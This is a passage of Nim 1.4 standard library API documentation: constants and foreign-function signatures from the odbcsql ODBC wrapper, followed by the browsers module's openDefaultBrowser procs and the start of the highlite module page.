[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L631) ``` ODBC_ADD_SYS_DSN = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L632) ``` ODBC_CONFIG_SYS_DSN = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L633) ``` ODBC_REMOVE_SYS_DSN = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L634) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L634) ``` SQL_ACTIVE_CONNECTIONS = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L636) ``` SQL_DATA_SOURCE_NAME = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L637) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L637) ``` SQL_DATA_SOURCE_READ_ONLY = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L638) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L638) ``` SQL_DATABASE_NAME = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L639) ``` SQL_DBMS_NAME = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L640) ``` SQL_DBMS_VERSION = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L641) ``` SQL_DRIVER_HDBC = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L642) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L642) ``` SQL_DRIVER_HENV = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L643) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L643) ``` SQL_DRIVER_HSTMT = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L644) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L644) ``` SQL_DRIVER_NAME = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L645) ``` SQL_DRIVER_VER = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L646) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L646) ``` SQL_FETCH_DIRECTION = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L647) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L647) ``` SQL_ODBC_VER = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L648) ``` SQL_DRIVER_ODBC_VER = 77 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L649) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L649) ``` SQL_SERVER_NAME = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L650) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L650) ``` SQL_ACTIVE_ENVIRONMENTS = 116 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L651) ``` SQL_ACTIVE_STATEMENTS = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L652) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L652) ``` SQL_SQL_CONFORMANCE = 118 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L653) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L653) ``` SQL_DATETIME_LITERALS = 119 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L654) ``` SQL_ASYNC_MODE = 10021 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L655) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L655) ``` SQL_BATCH_ROW_COUNT = 120 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L656) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L656) ``` SQL_BATCH_SUPPORT = 121 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L657) ``` SQL_CATALOG_LOCATION = 114 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L658) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L658) ``` SQL_CATALOG_NAME_SEPARATOR = 41 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L660) ``` SQL_CATALOG_TERM = 42 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L661) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L661) ``` SQL_CATALOG_USAGE = 92 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L662) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L662) ``` SQL_COLUMN_ALIAS = 87 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L664) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L664) Procs ----- ``` proc SQLAllocHandle(HandleType: TSqlSmallInt; InputHandle: SqlHandle; OutputHandlePtr: var SqlHandle): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L667) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L667) ``` proc SQLSetEnvAttr(EnvironmentHandle: SqlHEnv; Attribute: TSqlInteger; Value: SqlPointer; StringLength: TSqlInteger): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L670) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L670) ``` proc SQLGetEnvAttr(EnvironmentHandle: SqlHEnv; Attribute: TSqlInteger; Value: SqlPointer; BufferLength: TSqlInteger; StringLength: PSQLINTEGER): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L673) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L673) ``` proc SQLFreeHandle(HandleType: TSqlSmallInt; Handle: SqlHandle): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L677) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L677) ``` proc SQLGetDiagRec(HandleType: TSqlSmallInt; Handle: SqlHandle; RecNumber: TSqlSmallInt; Sqlstate: PSQLCHAR; NativeError: var TSqlInteger; MessageText: PSQLCHAR; BufferLength: TSqlSmallInt; TextLength: var TSqlSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L679) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L679) ``` proc SQLGetDiagField(HandleType: TSqlSmallInt; Handle: SqlHandle; RecNumber: TSqlSmallInt; DiagIdentifier: TSqlSmallInt; DiagInfoPtr: SqlPointer; BufferLength: TSqlSmallInt; StringLengthPtr: var TSqlSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L684) ``` proc SQLConnect(ConnectionHandle: SqlHDBC; ServerName: PSQLCHAR; NameLength1: TSqlSmallInt; UserName: PSQLCHAR; NameLength2: TSqlSmallInt; Authentication: PSQLCHAR; NameLength3: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L689) ``` proc SQLDisconnect(ConnectionHandle: SqlHDBC): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L693) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L693) ``` proc SQLDriverConnect(hdbc: SqlHDBC; hwnd: SqlHWND; szCsin: cstring; szCLen: TSqlSmallInt; szCsout: cstring; cbCSMax: TSqlSmallInt; cbCsOut: var TSqlSmallInt; f: SqlUSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L695) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L695) ``` proc SQLBrowseConnect(hdbc: SqlHDBC; szConnStrIn: PSQLCHAR; cbConnStrIn: TSqlSmallInt; szConnStrOut: PSQLCHAR; cbConnStrOutMax: TSqlSmallInt; cbConnStrOut: var TSqlSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L699) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L699) ``` proc SQLExecDirect(StatementHandle: SqlHStmt; StatementText: PSQLCHAR; TextLength: TSqlInteger): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L704) ``` proc SQLExecDirectW(StatementHandle: SqlHStmt; StatementText: WideCString; TextLength: TSqlInteger): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L706) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L706) ``` proc SQLPrepare(StatementHandle: SqlHStmt; StatementText: PSQLCHAR; TextLength: TSqlInteger): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L708) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L708) ``` proc SQLPrepareW(StatementHandle: SqlHStmt; StatementText: WideCString; TextLength: TSqlInteger): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L710) ``` proc SQLCloseCursor(StatementHandle: SqlHStmt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L712) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L712) ``` proc SQLExecute(StatementHandle: SqlHStmt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L714) ``` proc SQLFetch(StatementHandle: SqlHStmt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L715) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L715) ``` proc SQLNumResultCols(StatementHandle: SqlHStmt; ColumnCount: var TSqlSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L716) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L716) ``` proc SQLDescribeCol(StatementHandle: SqlHStmt; ColumnNumber: SqlUSmallInt; ColumnName: PSQLCHAR; BufferLength: TSqlSmallInt; NameLength: var TSqlSmallInt; DataType: var TSqlSmallInt; ColumnSize: var TSqlULen; DecimalDigits: var TSqlSmallInt; Nullable: var TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L718) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L718) ``` proc SQLFetchScroll(StatementHandle: SqlHStmt; FetchOrientation: TSqlSmallInt; FetchOffset: TSqlLen): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L724) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L724) ``` proc SQLExtendedFetch(hstmt: SqlHStmt; fFetchType: SqlUSmallInt; irow: TSqlLen; pcrow: var TSqlULen; rgfRowStatus: PSQLUSMALLINT): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L727) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L727) ``` proc SQLGetData(StatementHandle: SqlHStmt; ColumnNumber: SqlUSmallInt; TargetType: TSqlSmallInt; TargetValue: SqlPointer; BufferLength: TSqlLen; StrLen_or_Ind: ptr TSqlLen): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L731) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L731) ``` proc SQLSetStmtAttr(StatementHandle: SqlHStmt; Attribute: TSqlInteger; Value: SqlPointer; StringLength: TSqlInteger): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L735) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L735) ``` proc SQLGetStmtAttr(StatementHandle: SqlHStmt; Attribute: TSqlInteger; Value: SqlPointer; BufferLength: TSqlInteger; StringLength: PSQLINTEGER): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L738) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L738) ``` proc SQLGetInfo(ConnectionHandle: SqlHDBC; InfoType: SqlUSmallInt; InfoValue: SqlPointer; BufferLength: TSqlSmallInt; StringLength: PSQLSMALLINT): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L742) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L742) ``` proc SQLBulkOperations(StatementHandle: SqlHStmt; Operation: SqlUSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L746) ``` proc SQLPutData(StatementHandle: SqlHStmt; Data: SqlPointer; StrLen_or_Ind: TSqlLen): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L748) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L748) ``` proc SQLBindCol(StatementHandle: SqlHStmt; ColumnNumber: SqlUSmallInt; TargetType: TSqlSmallInt; TargetValue: SqlPointer; BufferLength: TSqlLen; StrLen_or_Ind: PSQLINTEGER): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L750) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L750) ``` proc SQLSetPos(hstmt: SqlHStmt; irow: SqlUSmallInt; fOption: SqlUSmallInt; fLock: SqlUSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L754) ``` proc SQLDataSources(EnvironmentHandle: SqlHEnv; Direction: SqlUSmallInt; ServerName: PSQLCHAR; BufferLength1: TSqlSmallInt; NameLength1: PSQLSMALLINT; Description: PSQLCHAR; BufferLength2: TSqlSmallInt; NameLength2: PSQLSMALLINT): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L756) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L756) ``` proc SQLDrivers(EnvironmentHandle: SqlHEnv; Direction: SqlUSmallInt; DriverDescription: PSQLCHAR; BufferLength1: TSqlSmallInt; DescriptionLength1: PSQLSMALLINT; DriverAttributes: PSQLCHAR; BufferLength2: TSqlSmallInt; AttributesLength2: PSQLSMALLINT): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L761) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L761) ``` proc SQLSetConnectAttr(ConnectionHandle: SqlHDBC; Attribute: TSqlInteger; Value: SqlPointer; StringLength: TSqlInteger): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L766) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L766) ``` proc SQLGetCursorName(StatementHandle: SqlHStmt; CursorName: PSQLCHAR; BufferLength: TSqlSmallInt; NameLength: PSQLSMALLINT): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L769) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L769) ``` proc SQLSetCursorName(StatementHandle: SqlHStmt; CursorName: PSQLCHAR; NameLength: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L772) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L772) ``` proc SQLRowCount(StatementHandle: SqlHStmt; RowCount: var TSqlLen): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L775) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L775) ``` proc SQLBindParameter(hstmt: SqlHStmt; ipar: SqlUSmallInt; fParamType: TSqlSmallInt; fCType: TSqlSmallInt; fSqlType: TSqlSmallInt; cbColDef: TSqlULen; ibScale: TSqlSmallInt; rgbValue: SqlPointer; cbValueMax: TSqlLen; pcbValue: var TSqlLen): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L777) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L777) ``` proc SQLFreeStmt(StatementHandle: SqlHStmt; Option: SqlUSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L783) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L783) ``` proc SQLColAttribute(StatementHandle: SqlHStmt; ColumnNumber: SqlUSmallInt; FieldIdentifier: SqlUSmallInt; CharacterAttribute: PSQLCHAR; BufferLength: TSqlSmallInt; StringLength: PSQLSMALLINT; NumericAttribute: TSqlLen): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L785) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L785) ``` proc SQLEndTran(HandleType: TSqlSmallInt; Handle: SqlHandle; CompletionType: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L791) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L791) ``` proc SQLTables(hstmt: SqlHStmt; szTableQualifier: PSQLCHAR; cbTableQualifier: TSqlSmallInt; szTableOwner: PSQLCHAR; cbTableOwner: TSqlSmallInt; szTableName: PSQLCHAR; cbTableName: TSqlSmallInt; szTableType: PSQLCHAR; cbTableType: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L794) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L794) ``` proc SQLColumns(hstmt: SqlHStmt; szTableQualifier: PSQLCHAR; cbTableQualifier: TSqlSmallInt; szTableOwner: PSQLCHAR; cbTableOwner: TSqlSmallInt; szTableName: PSQLCHAR; cbTableName: TSqlSmallInt; szColumnName: PSQLCHAR; cbColumnName: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L799) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L799) ``` proc SQLSpecialColumns(StatementHandle: SqlHStmt; IdentifierType: SqlUSmallInt; CatalogName: PSQLCHAR; NameLength1: TSqlSmallInt; SchemaName: PSQLCHAR; NameLength2: TSqlSmallInt; TableName: PSQLCHAR; NameLength3: TSqlSmallInt; Scope: SqlUSmallInt; Nullable: SqlUSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L804) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L804) ``` proc SQLProcedures(hstmt: SqlHStmt; szTableQualifier: PSQLCHAR; cbTableQualifier: TSqlSmallInt; szTableOwner: PSQLCHAR; cbTableOwner: TSqlSmallInt; szTableName: PSQLCHAR; cbTableName: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L811) ``` proc SQLPrimaryKeys(hstmt: SqlHStmt; CatalogName: PSQLCHAR; NameLength1: TSqlSmallInt; SchemaName: PSQLCHAR; NameLength2: TSqlSmallInt; TableName: PSQLCHAR; NameLength3: TSqlSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L816) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L816) ``` proc SQLProcedureColumns(hstmt: SqlHStmt; CatalogName: PSQLCHAR; NameLength1: TSqlSmallInt; SchemaName: PSQLCHAR; NameLength2: TSqlSmallInt; ProcName: PSQLCHAR; NameLength3: TSqlSmallInt; ColumnName: PSQLCHAR; NameLength4: TSqlSmallInt): TSqlSmallInt {...}{. dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L821) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L821) ``` proc SQLStatistics(hstmt: SqlHStmt; CatalogName: PSQLCHAR; NameLength1: TSqlSmallInt; SchemaName: PSQLCHAR; NameLength2: TSqlSmallInt; TableName: PSQLCHAR; NameLength3: TSqlSmallInt; Unique: SqlUSmallInt; Reserved: SqlUSmallInt): TSqlSmallInt {...}{.dynlib: odbclib, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L827) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L827) ``` proc SQLErr(henv: SqlHEnv; hdbc: SqlHDBC; hstmt: SqlHStmt; szSqlState, pfNativeError, szErrorMsg: PSQLCHAR; cbErrorMsgMax: TSqlSmallInt; pcbErrorMsg: PSQLSMALLINT): TSqlSmallInt {...}{. dynlib: odbclib, importc: "SQLError".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L833) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L833)
programming_docs
nim browsers browsers ======== This module implements a simple proc for opening URLs with the user's default browser. Unstable API. Imports ------- <since>, <strutils>, <os>, <osproc> Consts ------ ``` osOpenCmd = "xdg-open" ``` Alias for the operating system specific *"open"* command, `"open"` on OSX, MacOS and Windows, `"xdg-open"` on Linux, BSD, etc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/browsers.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/browsers.nim#L25) Procs ----- ``` proc openDefaultBrowser(url: string) {...}{.raises: [ValueError, OSError, Exception], tags: [ ExecIOEffect, ReadEnvEffect, RootEffect].} ``` Opens `url` with the user's default browser. This does not block. The URL must not be empty string, to open on a blank page see `openDefaultBrowser()`. Under Windows, `ShellExecute` is used. Under Mac OS X the `open` command is used. Under Unix, it is checked if `xdg-open` exists and used if it does. Otherwise the environment variable `BROWSER` is used to determine the default browser to use. This proc doesn't raise an exception on error, beware. ``` block: openDefaultBrowser("https://nim-lang.org") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/browsers.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/browsers.nim#L54) ``` proc openDefaultBrowser() {...}{.raises: [ValueError, OSError, Exception], tags: [ExecIOEffect, ReadEnvEffect, RootEffect].} ``` Opens the user's default browser without any `url` (blank page). This does not block. Implements IETF RFC-6694 Section 3, "about:blank" must be reserved for a blank page. Under Windows, `ShellExecute` is used. Under Mac OS X the `open` command is used. Under Unix, it is checked if `xdg-open` exists and used if it does. Otherwise the environment variable `BROWSER` is used to determine the default browser to use. This proc doesn't raise an exception on error, beware. **See also:** * <https://tools.ietf.org/html/rfc6694#section-3> ``` block: openDefaultBrowser() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/browsers.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/browsers.nim#L70) nim highlite highlite ======== Source highlighter for programming or markup languages. Currently only few languages are supported, other languages may be added. The interface supports 